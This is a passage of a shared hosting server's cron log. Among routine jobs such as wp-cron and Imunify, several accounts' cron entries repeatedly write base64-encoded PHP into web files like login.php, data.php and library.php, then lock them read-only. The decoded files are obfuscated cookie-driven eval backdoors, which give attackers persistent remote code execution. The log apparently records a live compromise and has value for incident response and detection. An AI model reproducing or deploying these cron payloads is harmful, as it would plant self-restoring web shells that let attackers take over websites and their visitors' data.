AgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:57:02 medusa CROND[29298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:57:02 medusa CROND[29299]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:57:02 medusa CROND[29301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:57:02 medusa CROND[29305]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:57:02 medusa CROND[29306]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:57:02 medusa CROND[29308]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:57:02 medusa CROND[29313]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:57:02 medusa CROND[29314]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:57:02 medusa CROND[29312]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:58:01 medusa CROND[12957]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:58:01 medusa CROND[12959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:58:01 medusa CROND[12961]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:58:01 medusa CROND[12962]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:58:01 medusa CROND[12963]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:58:01 medusa CROND[12964]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:58:01 medusa CROND[12968]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:58:01 medusa CROND[12966]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:58:01 medusa CROND[12977]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:58:01 medusa CROND[12967]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:58:01 medusa CROND[12971]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 09:58:01 medusa CROND[12976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:58:01 medusa CROND[12981]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:58:01 medusa CROND[12991]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:59:01 medusa CROND[32246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:59:02 medusa CROND[32399]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:59:02 medusa CROND[32400]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:59:02 medusa CROND[32401]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:59:02 medusa CROND[32402]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
